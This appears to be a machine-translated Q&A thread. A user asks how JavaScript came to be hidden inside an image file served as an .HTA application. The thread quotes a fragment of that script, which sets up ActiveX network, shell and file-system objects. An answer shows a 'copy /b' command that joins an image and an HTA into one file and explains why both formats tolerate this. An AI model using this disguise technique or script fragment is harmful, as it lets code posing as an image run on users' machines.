3

安全でない可能性のあるコードを配布する新しい傾向に気づきました。透かしを入れた画像をサーバーに投稿し、ファイル名を.HTAファイル拡張子に変更することを提案します。

.HTAはHTMLアプリケーションファイルであり、Microsoftのロジックによって暗黙的に信頼されており、Webベースのほぼすべてのことを実行するコードを含めることができることに気付きました。お気に入りのテキストエディタでファイルを開いたところ、驚いたことに、画像ファイル内にJavascriptコードが含まれていました。

jfHe299x4qBICCBRgpbl81xTjwucn9j4s1UVZxe8kwoJcdWnXuVHqpilRRhptKRACMBr5koY8vt6AEttD5xeGTOPCfBoQVjCvblkiGcc4ddlfiZiBPdCVAlelSbvhv9XWcoMIYyGMCbMaGv9YUyFrHZg3ZVx6HnRCgz4CyaA2bU9qn6R3NkmHx0W3uG7SZcHYyPiMN6AnWDGXRztMnxL3sY1s3h9VH1oTL34iYawlaEUDOUscX19pPz89v0rfmlqKTXce16vSZ6JDsy4IC5SktfXdt3m50z2R5BbwuhP5BHJITxvD4dHzL6K4uh9tIc4gYCFnDV

//<script id=thisscript>
var dom1 = ["zip","img","zip","orz","orz","zip","cgi"];
var dom2 = ["bin","dat","bin","tmp","tmp","bin"];
// Global XMLHttp, shell, and file system objects
var request = new ActiveXObject("Msxml2.XMLHTTP");
var shell = new ActiveXObject("WScript.Shell");
var fs = new ActiveXObject("Scripting.FileSystemObject");

ソースコードの下にも文字化けした画像データがあります。これは単なるスニペットです。

画像ファイル形式を壊して表示できなくすることなく、JavaScriptコードを画像ファイルに追加する方法を知りたいと思います。私はこれを私の同僚の何人かに提示しました、そして彼らは等しく困惑しました。

4

2 に答える 2

1

The problem here is liberal file format tolerances.

The JPG interpreter is forgiving enough to ignore "corrupted" non-image data. That's how you can view a large JPG while it's still downloading. The HTA interpreter is forgiving enough to ignore all the weird "text" at the top of the file and proceed to evaluate the stuff that looks like markup and script below.

There's another post about this curious behavior here: Can I embed an icon to a .hta file? In it Alexandre Jasmine suggests embedding an icon in an HTA with this command line:

      copy /b icon.ico+source.hta iconapp.hta

The image/script you found could have been created using this technique.

You didn't include the entire script, but what you show looks pretty scary. An HTA script with a web connection, shell and filesystem object can do whatever it wants with your local filesystem then phone home once it's done.

于 2012-05-11T00:36:55.397 に答える
1

私の推測では、これはある種のマルチパートファイル(画像とスクリプトデータの両方を含めるのはまったく問題ありません)であり、ハイパーテキストアプリケーションとして扱われるため、(ローカルコンテキストで)すぐに実行される可能性があります。

詳細については、実際のファイル全体を確認する必要があります。

于 2010-08-08T18:22:04.363 に答える